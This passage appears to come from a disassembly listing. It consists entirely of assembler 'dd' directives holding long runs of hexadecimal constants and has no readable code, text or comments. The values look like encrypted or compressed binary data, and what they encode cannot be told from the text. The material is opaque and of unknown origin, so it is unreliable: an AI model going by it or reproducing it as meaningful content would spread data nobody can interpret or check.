2AD7796Dh, 0EDE746DCh, 65EDD7B5h, 74EDE7C6h, 84656DC7h dd 0F7C72DDBh, 0EA0659E0h, 6DE71AF3h, 6DEF8561h, 0A0C4C7E1h dd 0A5F3EAC5h, 0C5ACC4C7h, 0D7E4F3EEh, 0E1C661EDh, 0A2F776EDh dd 0ADFB4661h, 7D69B05Ah, 27EDD704h, 847D6172h, 0D765F4C6h dd 0D7C749A0h, 25D7B52Dh, 0ADDD077Dh, 6DE6D71Ah, 0F96DEF86h dd 85A404C7h, 0A1B4FBC0h, 0A5AD7965h, 0C0A3F4BBh, 6DA63238h dd 41A5E754h, 0D2ADD0C4h, 7D5D20D7h, 70AAADB3h, 0D3067DADh dd 67D727ADh, 6DEFC645h, 0A4C7F7E0h, 2FADE585h, 5D5DAA50h dd 0E747ED41h, 0E14575A1h, 6DC731EDh, 6DEF8645h, 9406E71Bh dd 0AB2DB4E0h, 4664D462h, 0C77CEDF5h, 0E906E843h, 0EDD757B1h dd 0EDE64661h, 596FC719h, 15ADFE84h, 0C749A0F7h, 0F7B12DC9h dd 0CF847DE0h, 63C7A5ADh, 6DEEC565h, 980FE7D9h, 0E4ADD306h dd 447D6BE7h, 0F7E56DFDh, 0D6C59C0Fh, 0A0C758EDh, 0ADD00659h dd 69E9B0D8h, 712DF385h, 4645E0E7h, 0E7DAADE6h, 0BB32984Eh dd 0A5F738ADh, 2DDDC769h, 69A55049h, 1A2DEDC7h, 4471EDD7h dd 0A15033EFh, 0E4C74165h, 8FA09AEDh, 0EDA9A23Ch, 656160F4h dd 0BAF3993Dh, 47D65E7h, 0F770EDD8h, 0D9C665ADh, 0EE76FADh dd 2DEC05A8h, 656AF705h, 21ADD645h, 85E404E7h, 0E7EAB3E5h dd 0C2866966h, 0C060EF2Dh, 33C806B8h, 4522F7D5h, 0DF3BD446h dd 5756D72h, 0D7756DF2h, 0D7866166h, 0D7F751ADh, 0ADD6849Ch dd 4D67D7A7h, 0EA6DE8C6h, 569ACD7h, 50C32DE5h, 0C6845120h dd 0A0C73143h, 2DDA05E8h, 7166F7F7h, 0AFAD93F9h, 5288AD7h dd 0E7073BCDh, 0D80741A6h, 0B4E76113h, 2DB332E0h, 516BC711h dd 0E06DADD9h, 0B96D64E7h, 0D7342D4Ch, 97F97166h, 8AD710ADh dd 3BFBC50Ch, 65656032h, 0BBADEDC5h, 7C75AAC7h, 30E8ADBEh dd 0F3C5EC73h, 0A7E7F8F3h, 42E1C555h, 6529D7DFh, 573DDC4h dd 0C555A9E7h, 72C98ADAh, 0EE45975Dh, 0A00806ADh, 73CB84E8h dd 616B6121h, 1A2DDA46h, 46FC2AD7h, 0C72BEDE0h, 0D684412Ah dd 17D7E1ADh, 73B92FB4h, 69E1E722h, 0F72DC586h, 0C741A5B1h dd 0E70BEDE1h, 4F7F3483h, 0E9615D72h, 0AD117E5Dh, 716DF7AFh dd 27EDAEC2h, 0C669ED51h, 0E72BEDE1h, 0E6046969h, 6BD76776h dd 0F5A73865h, 885BC7D7h, 182DE585h, 0C74168E7h, 0C705EDEAh dd 0A27D79E9h, 2AD7E42Dh, 0AD90E271h, 0A8CFF753h, 0EAAD745Eh dd 9AF8C670h, 0E7EAAD91h, 0AA7B0CDBh, 69D705EDh, 0B3CB0659h dd 6168E72Fh, 17ED9EC1h, 0C60088F7h, 101EF4C7h, 853A6D25h dd 68F72BDCh, 2DE58549h, 0FC1AE718h, 0B46DA6B8h, 0E16565E7h dd 0BD252DA7h, 0D0C5496Dh, 60D797ADh, 0CCEE8459h, 652BE785h dd 0CBEDE185h, 0A12C5670h, 0F786B7A9h, 0DE0665AEh, 6D10892Dh dd 6DE8C65Dh, 6126D7E4h, 0DB34E484h, 85456BE7h, 91A27AD4h dd 0F64645A9h, 0F3E7246Dh, 709A1FD8h, 6DAD937Ah, 1A7AB4C3h dd 4F4F480h, 41DFEDC6h, 0CDC5E8B9h, 83D7F13Bh, 2DB3B7B4h dd 6D62C7DFh, 0E4EDA4C3h, 84412EC7h, 62723AC2h, 0D08440B5h dd 0AD7179ADh, 0F3736049h, 0BCFAF7B8h, 5A6D9400h, 44452AD1h dd 0B1FDB4ECh, 0A27FD63Eh, 61F75E33h, 0ED71E359h, 0E275123Bh dd 7D03FF84h, 45656383h, 0F72FADFBh, 9FA86CB9h, 0A5E7B82Dh dd 2D8EA175h, 6DEDD735h, 52EDA53Eh, 4B48A10h, 93B8EDD3h dd 0BAF9696Dh, 99610333h, 0BABF6098h, 71659149h, 0AEB4F5C4h dd 6C7F581h, 910B7CFFh, 0E985616Bh, 0DBD7A6FFh, 0F4FAC780h dd 44FEB165h, 19ADD0C4h, 6D4B9D7h, 0B59E24C0h, 0CE8448BAh dd 0EA3270EDh, 0AD2E025Dh, 55E67F64h, 0F86DA8EDh, 655ADC7h dd 0D7FA6DE8h, 0EB0655ADh, 84F760D7h, 2DAEB9FEh, 69EBC711h dd 6D2DCBC7h, 6D4D2B5Bh, 0D766E7D7h, 0A623F246h, 30A967A7h dd 0EDE345F4h, 75A072CBh, 0FB4C785h, 8545A132h, 0F7DFADF7h dd 7DEE65A1h, 68D7842Dh, 0EDEA8441h, 6121F7C4h, 30B4C5C5h dd 878C9DE7h, 0D7DF2DD9h, 93C36D67h, 67D73234h, 74D80645h dd 616AF7D2h, 87F6B5C2h, 66522F7h, 0F7002DCDh, 0A840512Ah dd 0F4F7E1ADh, 6DE8C6FCh, 0C70BD780h, 0D62DFE46h, 85F43C93h dd 0F7C46DECh, 746E59AEh, 95E715F4h, 3FDE46C4h, 55E9D7DFh dd 826D61E9h, 0E49ABE7h, 91B83CA1h, 0CDC6BC8Bh, 4AD7732Dh dd 0ED8E426Ch, 59A941B4h, 826DEDC5h, 0BED0F3E7h, 20EED661h dd 91594D64h, 0E16F5E6Dh, 6D98F47Dh, 0F4744D1Eh, 69C7F506h dd 430C801h, 0D707EDE2h, 992071A5h, 82E71F2Dh, 6DE884A4h dd 792DB1A4h, 0B12DD9C4h, 85556BE7h, 0B1BE2DD9h, 0E0844160h dd 8381C274h, 6DE8C790h, 58BF0D62h, 0FDEDE006h, 454160B1h dd 0E72AF4C8h, 0F604F01Ch, 69910DEDh, 0ED3A8955h, 0C0052343h dd 0A0ADD984h, 6D752AD7h, 0B17E6683h, 0DEC4E096h, 7DF71F3Fh dd 74BA6DF4h, 61A5213Ch, 0C07FE905h, 0C741A279h, 0F7D933D4h dd 8DEECBBDh, 9DF78C2Dh, 0EDA9EE68h, 7D2D3DA3h, 0D6AD68C9h dd 826125ADh, 0AD53074Ah, 0C5C4792Eh, 0A5E7FFB4h, 4F7C56Dh dd 0C3780D62h, 81F9F447h, 62FC4BB1h, 2084735Bh, 0DD075DA4h dd 0E1D7FA2Dh, 0ED71BB4Dh, 0BFE6ECE9h, 3E2DCD84h, 0A2CD39E7h dd 0E7FBB1A0h, 79DA92A7h, 0BDBDD1B4h, 2D9D2350h, 6C96ADD5h dd 4A7EE046h, 0AB65E462h, 7021818Eh, 9320E0B9h, 0EFC7DFEDh dd 1CAA004Dh, 0E778CC3Fh, 0ECC9C105h, 8576B0D7h, 0BDBDF7EDh dd 0A0B1FBBDh, 0AAD7DE6Dh, 6D197451h, 0C4BDB3FEh, 0D97CD885h dd 0C793A343h, 0F7DF49DDh, 0A1004DEDh, 0E9F7D809h, 1ACD61Bh dd 4D63B1D2h, 1BB98C00h, 87AB2353h, 0D7E109E4h, 0E285F4B9h dd 48DE982Dh, 2DCDC564h, 6CF8818Eh, 81F08CFCh, 0AE7167A1h dd 0D7C6EDAAh, 9EC871ECh, 0B9D712EDh, 0EDA1F1F4h, 0F0BAC7C3h dd 4BEDB120h, 74564B1h, 81A0BEE0h, 0DC04B0B5h, 0A4E7BC70h dd 0ADAC3D7Dh, 71A2A2EAh, 3DFBD506h, 0C4612DF7h, 0E7912DDAh dd 0D0C4656Bh, 0AACED4BEh, 2DAD2E2Bh, 55EAC7DFh, 0BDA0BCC2h dd 0E955EBA8h, 0A181F063h, 0CDC66164h, 0A2E7622Dh, 39E1456Dh dd 0BC87C7BFh, 0A46D61B5h, 6716BE7h, 0F4D83CE4h, 0E907BCB3h dd 0F1B3813Ch, 6D43E1B7h, 4125D737h, 99ADC8C7h, 29F2F9C4h dd 0D75B6D90h, 93CEE71Ah dd 0EA8D5351h, 0E1F7C471h, 0DB78CE98h, 2C38FE86h, 74435F4h dd 0E761EDC1h, 0FAC70CF4h, 63BDFDADh, 2D94A1A2h, 4522EC3Eh dd 0D939BAD2h, 84A41663h, 3165ADE2h, 0CE07516Dh, 0A3F7DF81h dd 8983D245h, 1A6EF7D9h, 7BCBC805h, 2655ADF0h, 0E76E9188h dd 0A7D32479h, 81C786FEh, 6DC44687h, 0D805E260h, 5C6DE0C5h dd 86DF91F7h, 0C71D2DE4h, 0A3DD79E5h, 647A298Bh, 48F30628h dd 51EAF7DCh, 84ED0274h, 93864433h, 0F79E2DB9h, 0A2AB2723h dd 6FD7DF43h, 2D499D7Dh, 70339C80h, 0BF7BB8E9h, 0C5796BE8h dd 0D73138EDh, 0D748DCCh, 66C7C42Dh, 5B8B4065h, 656B6A01h dd 7913FC04h, 8417E854h, 0A1813BFCh, 0A5DE45A1h, 94E745Bh dd 7462D9E0h, 59AA5A70h, 502DCD86h, 5C6C48D7h, 937B33BDh dd 0DE8649E6h, 22F71BEDh, 0CE18579h, 388E80E4h, 0D96D5A5Dh dd 85756B53h, 0FABFF2D0h, 0D58592F9h, 2E01C73Fh, 0FB62B571h dd 55E05C04h, 0F4ADBDA2h, 3F2753E7h, 0F777BA54h, 54FFA692h dd 92F7EABAh, 0BA54748Ah, 0B292F76Eh, 0EDBA543Dh, 0BD8A92F7h dd 0F761BA54h, 0ADA32092h, 0D27A3EADh, 0BAD0C520h, 0A30CAB16h dd 282D8A18h, 8544FCE0h, 0A1F224C0h, 0CF779B39h, 62F7DFA1h dd 0A3A56859h, 7563E8BEh, 0E474B4C1h, 86898080h, 71E6BEE0h dd 0EE845DA2h, 0E9F75A6Dh, 0A3CB4679h, 26CC5416h, 272D84C1h dd 9EE1F64Ch, 0E7EB2D1Bh, 0F5BF6808h, 30D75FDAh, 0E4BE9154h dd 7122F7DFh, 0CAD5141h, 0D2ADD0C7h, 0F28B2D40h, 0A5BD9A93h dd 5FC73094h, 0E3A29A1Ch, 0D63F32CBh, 0E47C4CE1h, 451718C7h dd 0B1DF34C0h, 9DA47D61h, 6DD7E2ADh, 0EDC10455h, 4DA5E0FFh dd 5BEDCEC7h, 85756DD7h, 0D7E9B6D7h, 0D2867D66h, 0E2C726ADh dd 0ADEC856Dh, 0D4B9D705h, 9EAD98F0h, 0E2D8C5C7h, 0A1D82DA6h dd 0DD4649E1h, 69E7052Dh, 2D96EA49h, 4965C71Fh, 0F7EDF4C7h dd 0C661EDD7h, 0F75134CAh, 0CDC57DA2h, 0E1E759FCh, 2DA60245h dd 7562E7F7h, 0ECADA9EDh, 5D406D7h, 51BE6DE4h, 0ABAD69EAh dd 1BF705BFh, 74848CB8h, 7922F7ABh, 72DBC6Ah, 4C75EAC7h dd 0D72BAD7Dh, 0F70475A9h, 0BA23B8ADh, 0EDA983E4h, 45E691C1h dd 462DE946h, 0C64CC9F7h, 0D79B2DE4h, 6CEF6124h, 0A1F705EDh dd 0EDA6F455h, 69EDD716h, 2BEDE1C6h, 0AF4D29D7h, 0D76677BCh dd 0C4C571E2h, 6BD73474h, 74C4C56Dh, 71A5C7A5h, 2B7F896Fh dd 4C5D69E7h, 61F83C9Fh, 9DAC41E9h, 0E9F7252Dh, 0F4E1C569h dd 49EEB20Eh, 882DE2C7h, 2DED4745h, 0D773C7DFh, 0E6847406h dd 0A05F37A7h, 0A7FCAC61h, 6843F7E4h, 1A2DEFC7h, 0C65967D7h dd 0E710EDCEh, 9E636083h, 3E757EDh, 0EDE404FCh, 4567F734h dd 0D13F7E2Ch, 227442D7h, 615F3783h, 0F4EF41E1h, 8CF70E7Fh dd 0ED9C2276h, 0F404F7F4h, 7EEDE904h, 469E721h, 0F7F5EDE2h dd 0F84455E8h, 0AAE7B8F7h, 7CFB7A45h, 65E97180h, 2AEDE746h dd 46840595h, 0C7A7EDFFh, 0C18443DEh, 35C72AB3h, 3616C024h dd 75E0D714h, 452D8D09h, 2A24BCF7h, 0BB2771A1h, 0AA2D75A1h dd 0ACC7DF2Dh, 63DE067Dh, 45A991E1h, 0F8EDF546h, 0C6DA352Fh dd 0A2E792E6h, 49D15C36h, 3103F8EDh, 0ADF684E9h, 6962137Ah dd 0CEBE86C0h, 2A752911h, 0E7662D8Dh, 0EDC74892h, 0D9F730F4h dd 0AD7F2891h, 0D71D2CC8h, 0EF7E5FE1h, 0A14492E7h, 1F90ADA5h dd 0B20BCF76h, 9E19FD2Dh, 2DF54644h, 0D39183A6h, 8EDE804h dd 0B4DA80Dh, 33FD6D9Fh, 89686960h, 0EE03F9F7h, 0AD1BF565h dd 0ECF7D4E7h, 0E68943B5h, 5D41299h, 9567BEC5h, 0DC460465h dd 0A013FD6Dh, 2DCD8469h, 44B7F76Ah, 1FEDB1A1h, 0AA7167F7h dd 0D8E5FBCFh, 0EC855922h, 0E0F7F1E1h, 89FD85AAh, 68BDC7E6h dd 0D134D186h, 0B1696EA3h, 21F82D4Eh, 0ED4575A2h, 6BEC83EDh dd 0CCC08559h, 7DA231F7h, 0E479FC85h, 0A97D6DD7h, 1179EDA9h dd 0DF04B6EFh, 875F21FFh, 0ADF48460h, 7DE65D6Eh, 0BA6DEC06h dd 0C47D6AE7h, 0F7E4ADCFh, 0B3EC752Dh, 26D71E00h, 6DA28C6Dh dd 51E0D7E3h, 0AB79A363h, 0CCE841C7h, 0F761AD90h, 0B03FFFFCh dd 6BE7DAADh, 7BF58675h, 6167CC8Bh, 0C1B7A121h, 0E8E313ADh dd 0F250D4B0h, 0F5C788AAh, 3DA1DEEDh, 0EDBBCD88h, 0C0C4B1D9h dd 0DBADD0C7h, 4685A8E7h, 0FC526DF0h, 0A22251A1h, 0ED9D1671h dd 0F7FBC679h, 6DE4E71Ah, 1F6DE204h, 494528D7h, 21A90275h dd 0E4E14DEAh, 0AAE7EEF4h, 9E40E171h, 74FCF770h, 82C4A9ABh dd 28B86883h, 0E760F4E4h, 0E7E14CB5h, 2AE7E9A2h, 8BBB000h dd 4128C718h, 58ED3E21h, 0C43C68F7h, 0C25271E4h, 9C8267B2h dd 24E7F400h, 6D9B8B55h, 9776F7F3h, 7F69A4Dh, 0C76165E7h dd 0F7E52DDCh, 0EA84783Ch, 0EBD745EDh, 38BE9775h, 0D8B7F7E1h dd 106DE2C5h, 8483D8F7h, 0F786EDE4h, 0F48559E1h, 67D71F2Dh dd 2DE4C649h, 41A5F7DFh, 0D8ADE8C7h, 86D434F7h, 0E7867BE4h dd 0F4C56162h, 6A6135ADh, 2DCA8661h, 4120F787h, 24AD9F36h dd 0C4E71372h, 0E718EDE1h, 0E5854968h, 2AC7AC2Dh, 2DA500F4h dd 496DF725h, 37C3A2BFh, 0C6F82AD7h, 0E7826DE8h, 7D547DEAh dd 456181C3h, 0C3D306DCh, 44F1D7DFh, 24ADF746h, 0D4B8426Ch dd 0F7DF2D36h, 499C6963h, 0E73B7B2Dh, 0FCEA7C69h, 781DE7D1h dd 0FF76719Ch, 4435C4Ch, 0D715C3FDh, 4D7C475Dh, 0C3D72F2Dh dd 2D460895h, 0C7B4C759h, 0FA53E085h, 0C1C040BCh, 2E78B8Dh dd 5D9CC6B3h, 7CE7DCF3h, 0ADE34644h, 0FADC2DAh, 252D86E8h dd 44CCB7F7h, 6E6E30D3h, 0CCC6E8F4h, 4BC7507Ch, 7CA38104h dd 0F440F78Bh, 68ADEC06h, 87616B64h, 2647BCAh, 5BFC9D81h dd 80420EADh, 6D70BC9Dh, 91432E2Ch, 0BBE2D2C4h, 8B85CD74h dd 3CE06D00h, 0B241A18Ch, 122428ADh, 4BCAC55Bh, 918EF7E0h dd 9623E03Fh, 46A78874h, 0C7DFBEC5h, 870155E2h, 4BC7261Bh dd 2DFE0528h, 59E0D735h, 8EF42F5Eh, 6547F3Ch, 581A7CF8h dd 0BCE14DEEh, 1F3F0703h, 0BCE6861Bh, 5D223374h, 5DE6D7C4h dd 4606800Eh, 0C769ADEBh, 80968C0h, 0F5B3A442h, 0EDD04647h dd 0C5B5B526h, 0E22D0D81h, 207C35D7h, 0B5E3ED81h, 0C60755ADh dd 721F3B2Dh, 2D529EC0h, 0E392F799h, 0D4DC3FC1h, 0CB41ABD7h dd 2FF8764Ah, 0AC289A40h, 0A8AF32EDh, 5EEC4659h, 0C2349DE7h dd 0BDD3DCC7h, 866730D7h, 0A5C12DC8h, 625B537Ch, 0B5A58FADh dd 2DCCC6C7h, 0C73D8B71h, 32ADDD46h, 84516D93h, 0BB962DDDh dd 0FDC7B199h, 0B0A3322Dh, 0B3E8C6C8h, 6E3DECB1h, 0D6F42302h dd 1E696BD7h, 0C7612D4Dh, 0A1E034B3h, 7963E5ADh, 2D25CD4Eh dd 0EEC4D79Ch, 4AD3BC26h, 0C7416562h, 0C787EDE3h, 0E1C534BAh dd 0F0E78632h, 37A5DDD3h, 0BF38F70Bh, 62DB78Dh, 0C5C406B3h dd 0BC4CEDE0h, 76DD300Bh, 848024BFh, 7CEA077Ch, 0BFE6D731h dd 0E6EDE1C4h, 565E891h, 63C5F4F5h, 0E3C7512Ah, 356DFF6Dh dd 7FEFC6E8h, 0E8CD339Ch, 41D7AF42h, 0AD30AC61h, 0A306AD5Bh dd 37E160C5h, 80136E77h, 0FFB3C850h, 0CE8EF73Dh, 247737A1h dd 0C4D20FC7h, 7FA157D0h, 0CBC544CCh, 8EF72857h, 7F740DE2h dd 0E3843335h, 7957D045h, 0C67DEDBFh, 0D767EDE1h, 0AEADFB17h dd 0B1A306EDh, 6DDAC4C4h, 0BC695DFFh, 7014D706h, 0C7D035E7h dd 13A9EDDFh, 9A09D605h, 0C639F5ADh, 0AD9409D7h, 0D7F539F5h dd 0F5AD8609h, 9D73919h, 9F5ADB0h, 0A209D73Dh, 5713F5ADh dd 0FE198E68h, 0EED1E768h, 0EFFE5920h, 63DED1E7h, 0E763FE59h dd 59E1C6D1h, 9DC7E6FEh dd 71E80567h, 45A5F71Fh, 8EEDE207h, 8488F173h, 0A87108E6h dd 42D11633h, 0C1F75E6Dh, 50A615B3h, 0BEE351BCh, 9A4B2E30h dd 0EF605BD7h, 3999EDB1h, 0C085E4CDh, 65E7A20Eh, 807C5330h dd 0BF683D19h, 75EDDC87h, 0F265E7ADh, 8473A0F7h, 0E80500F3h dd 0E023D9C9h, 0EDF5C4B2h, 5C5B51E3h, 70C82CD4h, 814963F0h dd 0D0702694h, 0F17449A5h, 0DA1D1A60h, 0ED42D5FBh, 89FF933Bh dd 49068553h, 1579658Ah, 0CEAAED49h, 0E1456563h, 0A9D2697Fh dd 3FACEE69h, 6D66E0D2h, 0ECAD83C0h, 0EABBABC7h, 0E70506B1h dd 0F644552Bh, 0A171E5ADh, 2DCD8775h, 79EBC7F2h, 0DF344450h dd 1645A231h, 0F7DE3196h, 0D004D0B5h, 6AE79831h, 0ADC0C728h dd 41E5E7DAh, 7FADFC84h, 0C490C9F7h, 51C42DDEh, 0EA8459E4h dd 64F748EDh, 0F3F1C569h, 69E4A0ADh, 0C72DF6C5h, 0C661E4E7h dd 0F7E72DCFh, 0EAC44561h, 0A0F787ADh, 0ADD00655h, 7D6DD7DFh dd 6AEDDEC5h, 84492051h, 0D7A4ADD6h, 0E5457DEDh, 671197EDh dd 0B7A02D5Dh, 0ACB592E3h, 52AD5235h, 8AABABCCh, 0D7F2314Bh dd 0E5055DEDh, 0A5D7F8EDh, 6FF0745h, 49A01111h, 0ECADDBC7h dd 45166F7h, 0E778EDE9h, 0FD8469E3h, 26F733F0h, 2DE24588h dd 8447C730h, 0DF81D105h, 4551E8E7h, 0F7A5F4F5h, 0CCC54522h dd 0EA9038EDh, 2DCD47B4h, 65EBF78Bh, 407FA040h, 9349E8BCh dd 0A2A7ED4Dh, 0EA84A07Ch, 6D1004C0h, 0EDD60649h, 0C34F797h dd 0C7EDF5C7h, 659A0F7h, 0E7552DDBh, 0C20451EDh, 0A2B0EEF3h dd 0ADE4C57Dh, 4966D7F7h, 1FADD7C6h, 365966F7h, 0D78CAD92h dd 9ACF6160h, 0E284C480h, 0ED8ED351h, 0ABB038h, 14B0D1C7h dd 0AA692011h, 0E7B487FFh, 9D306D64h, 0A461AAEDh, 2DE2C769h dd 59E9F724h, 86EDE646h, 0C54961E7h, 0C716EDDEh, 0DDC54DA2h dd 0FF7646Dh, 6DF04640h, 69E0D2E7h, 2F2DAA69h, 444D69E7h dd 0F733EDE7h, 0DE06D841h, 0A9C715EDh, 0FCAC2A6Dh, 412CB057h dd 0F0FCEC06h, 47D6A61h, 0F707EDC1h, 0D68555A2h, 0E5F0A931h dd 0EDA8E155h, 416DC266h, 986DA1FCh, 4756030h, 0E7C72DCCh dd 0D08551ADh, 66D735C3h, 0AD97626Dh, 93E4E7D2h, 0A3C399BCh dd 0BC51A9C2h, 0E7D27F33h, 0AE096127h, 64E7BA6Dh, 91940A61h dd 8B7DE7E6h, 0FF3FEC87h, 754B40F7h, 0C269FC6Ch, 0AFFC41A9h dd 0A6D7A2F1h, 0ED4DE06Dh, 4160D2AAh, 7087FC32h, 6456DD1h dd 0D7286DEEh, 0F5C67DEDh, 0E5D75EF3h, 0F1F40541h, 65A7C738h dd 0A3F369B5h, 0C5E4B5CCh, 0A32735DBh, 9ACE4161h, 0ED100B0Bh dd 3BB7D545h, 8B04A2BFh, 0C5ADD246h, 7E692EF7h, 0F7B8ED65h dd 0A4F97563h, 0E572DCEDh, 0ADC50471h, 7560702Fh, 95F395EFh dd 0C559A2C7h, 0F7CA6DE5h, 647E6925h, 0E1F7A477h, 2DED0549h dd 4DEAF779h, 6D6DE1C7h, 0BC7DE13Eh, 0D72BAD90h, 0F884716Dh dd 6DF79500h, 6DE8C56Dh, 0BC84C7F1h, 2FADD286h, 39E4B5F7h dd 0F7E44822h, 449F0CCDh, 0E3FC6913h, 84E7057Dh, 6399D7E3h dd 0B0EE8C5h, 0FE89C954h, 0D76D3BF6h, 0E9BE9988h, 4BC704F4h dd 0ADDE04B1h, 18D564DBh, 0BDE2E144h, 50494C7h, 3C266DE8h dd 0FC847DA2h, 7328ADE2h, 0F20F7980h, 4DE2D756h, 77A2E739h dd 0C49ED004h, 473EDCEh, 0CE4685D3h, 13F7A86Dh, 1EF638B1h dd 708AE7E1h, 4AF9BC7Dh, 0D545EDF7h, 422726BBh, 0A882E416h dd 0FFE7346Dh, 0B46B0A2Ch, 71A275F3h, 16D62A0h, 6F4B45Fh dd 8FF62DDCh, 0F084D873h, 81A1ACBCh, 0ADEDC6BCh, 6965C7FBh dd 0B26DD9C7h, 6A873AFh, 0F7F36DE8h, 0E9C45DE5h, 72F78844h dd 996AA3F3h, 86ACD717h, 59EDF246h, 2DE4B5D7h, 0C7FAADBCh dd 4E619073h, 0DAF77F2Dh, 32F0C47Eh, 4C709FFBh, 0CA7E5243h dd 744737Dh, 0D707FFC1h, 0A14A5DA5h, 6B60E170h, 0B7E2C569h dd 0E3FB73F6h, 0EEC4EF84h, 75CB0F7h, 0B3D184D7h, 57A1D3FBh dd 5F7E86Dh, 0C478E04Fh, 7044D70Dh, 0EFED9D61h, 746D8B1h dd 0F760EDD1h, 99E41065h, 0ABA9F4E4h, 84758B65h, 7D6BE7C7h dd 322DD5A0h, 0A1696EAFh, 7D73304Ch, 72EEE8F2h, 0D3D7DFF4h dd 0ADF2EE7Bh, 0F70849F9h, 3B2D968Eh, 2C65E1BBh, 13680711h dd 8E404312h, 5549F9EDh, 4E8908D7h, 4DA4B3BFh, 0F9FE8E8Ch dd 8048D7A3h, 3FB92DA9h, 0FC065473h, 7DF29CFEh, 2DFE05E8h dd 4165B107h, 766DF905h, 675A26Fh, 72F5ADE5h, 462EEF7Dh dd 84615B87h, 6DECC5A0h, 492AE7B6h, 883F97A3h, 0C9D702E7h dd 0B1A58FABh, 656C69ACh, 0EAE7CD31h, 0F33F234Dh, 416BBDAEh dd 0FAD7E9C5h, 696C705Dh, 0F7D26D20h, 5D0A71EAh, 29D7DF2Dh dd 0BCE94649h, 0C1517980h, 30BEB84Bh, 8851EE3Fh, 0B3D19EA6h dd 0C4A8E70Fh, 0E5DCF097h, 86D94655h, 0E7B8E7DEh, 0DF2D99A0h dd 4E7DABE7h, 93D19E84h, 0C768DFC9h, 0D231C266h, 0F4006CE3h dd 37ACE7F6h, 1C2D4D6Bh, 84400FC7h, 933874D9h, 0B5AA5871h dd 0E4D7FAADh, 97046A61h, 4DE5C7DFh, 0EF2D8E8Ch, 6BEE97D7h dd 3F4E3139h, 0B5E0DBDAh, 4213122Dh, 2DFC4647h, 0A8B4435Ch dd 780FFEE8h, 0C6477F9Dh, 0D7272DCDh, 5486B52h, 7AD754D1h dd 2D4D2AE0h, 588BC7DEh, 622D9962h, 0C452DBFAh, 8D5E81CFh dd 0D706D475h, 0C5F87D24h, 2DC38773h, 0EA0175E7h, 0E2F4FA84h dd 0CD51E6C7h, 0C28E8676h, 14376125h, 0E5E28E86h, 3FB51761h dd 182F3B84h, 0A6EDD446h, 57D3C95Fh, 0D8522D84h, 0B657D3C3h dd 9FE8522Dh, 2DA057D3h, 0D302E852h, 526D9257h, 57D38CD8h dd 0E2526D8Ch, 9B228FE8h, 6CE7DFD1h, 614B65Dh, 756DC28Eh dd 69FC4251h, 0B6ACF35Bh, 0C7996DAEh, 0D7C77DAAh, 0A5102184h dd 2D8C6145h, 6524C77Fh, 47709EA1h, 0C56963E7h, 0E748EDEAh dd 8B2241E0h, 62E74737h, 6DEFC579h, 79E5C7F7h, 0FBB0C884h dd 0C74DA4F7h, 0F764ADFDh, 0ED4661E9h, 69C727EDh, 0B088D36Dh dd 0A8BDF7E1h, 7EF5EB05h, 0A96165B0h, 0A0BE2DBDh, 0E4C57161h dd 0BDE71D2Dh, 78FD8680h, 73CE7E4h, 29ED6E70h, 0C57520C7h dd 0E7B26DECh, 0AF307928h, 33BE45EDh, 48E7C504h, 4121C729h dd 0A6ADB5D3h, 46E4D4F7h, 0D72680CDh, 0DDC59CB2h, 0F9F7E660h dd 0EDD6C516h, 656DC751h, 0A1EDF604h, 9345AB21h, 0E747EDB4h dd 0E4856DE0h, 0BDE75D2Dh, 78FD86A0h, 77AE7E1h, 29ED7270h dd 8565A0C7h, 0F7B06DECh, 0F3C484F1h, 299C45EDh, 0EDB11049h dd 0B4B94EE0h, 0A3B8DE85h, 46D4D4F7h, 0D72380CDh, 0F1858CB2h dd 4F7E3E3h, 0F6F48506h, 9B73E7D9h, 62B0D285h, 851072D7h dd 0E7F5B0C8h, 679D7524h, 0B9C7D740h, 0F6F48594h, 5D6DD7D8h dd 0B5CCF6C7h, 0C661AAD7h, 0D7A42DC5h, 0E6C67DE5h, 65C79F6Dh dd 6DE1C559h, 40CCF715h, 0BBADECC4h, 0C569EB60h, 0E7848BD8h dd 0C28555E3h, 6BB044BCh, 6DEE8545h, 452DF7E8h, 756DDD86h dd 0FD5DE5E7h, 202B2D99h, 0B46359ABh, 69B28773h, 2DCFC661h dd 8C33F7E1h, 8AF5D606h, 77568E7h, 604273FCh, 0B325692Ah dd 4CF7C973h, 70B37090h, 752F6C8Bh, 0F9FB8F1Fh, 9F61EDE7h dd 0E7B86DACh, 0A9F756Eh, 0CFD7DD34h, 638C9F8Ah, 0BD4E7489h dd 0D42DEE07h, 4248144h, 0F7076DE1h, 0F1465520h, 0CCF7CA33h dd 2D41FE81h, 496BD795h, 0E2D9E5Fh, 6652074h, 748B53C6h dd 0A0F298C9h, 9C7D823h, 0FAC1C784h, 51E960D0h, 812D9670h dd 9F7D256Ch, 0F7E6ED56h, 7F1F6DAEh, 7D30EC2Dh, 82C00628h dd 75A27E8Ah, 0D782C046h, 0F85D207Ch, 0E7C6ADADh, 0F4062B97h dd 9350C0FAh, 0CA4C581Fh dd 516D528Ah, 5178F204h, 7E8088E7h, 0A12C2D8Ah, 51782CCEh dd 89D780EDh, 0FAE88433h, 844FF7C1h, 0D733F1C5h, 0BF341FE7h dd 3C4C729Bh, 0CC8645A0h, 4FF7D272h, 0ADB8BA23h, 89DE50DDh dd 4A7A919Bh, 7010CE10h, 702FADB0h, 0EC06B51Eh, 262C163Ah dd 0ED569A75h, 4D2CF7EAh, 52AD709Eh, 3AF8B41Ah, 93A1B3E2h dd 0FB4627DDh, 7502EC7Bh, 0EDB1BFE8h, 50749165h, 292DBEE1h dd 0A141A4E7h, 0C7D3CA8Bh, 58C01F13h, 0F022044Bh, 33ABC174h dd 65E6D7C0h, 76DF984h, 0FD5D68F7h, 0A1242DB1h, 0E2215969h dd 20B536A4h, 0A4BFB97Dh, 4D6EAB7Dh, 0BDF41C40h, 4765E060h dd 0E7FBEDD6h, 0BD20416Ch, 68932DBCh, 2DF3C749h, 64B4B575h dd 7335E5A0h, 756F385h, 0E75264CFh, 0F747F4B2h, 6D912282h dd 0A4E78679h, 47F08577h, 0D6AD9020h, 4516DF7h, 0B5B32DF5h dd 0CFC6E5F3h, 0B2E71264h, 0CD347C4h, 55A8A32Bh, 96A4A7C0h dd 0A0C3FEA5h, 908F9CC4h, 8920F57Bh, 72B3B36Dh, 0C79B7FE4h dd 0BEDB2073h, 36FC8EC0h, 0C70B9281h, 0C79533F0h, 0A8F0452Bh dd 19BFB77Fh, 0CF4AEF94h, 0E27C208Fh, 0C17AB3BBh, 3BEC7F6Dh dd 146C42FFh, 0E9045377h, 0B64D152Dh, 0B4D48677h, 0C40FF7C8h dd 0DEF771A2h, 0A3F5CED7h, 75972724h, 0BEADC5C8h, 0E263AF27h 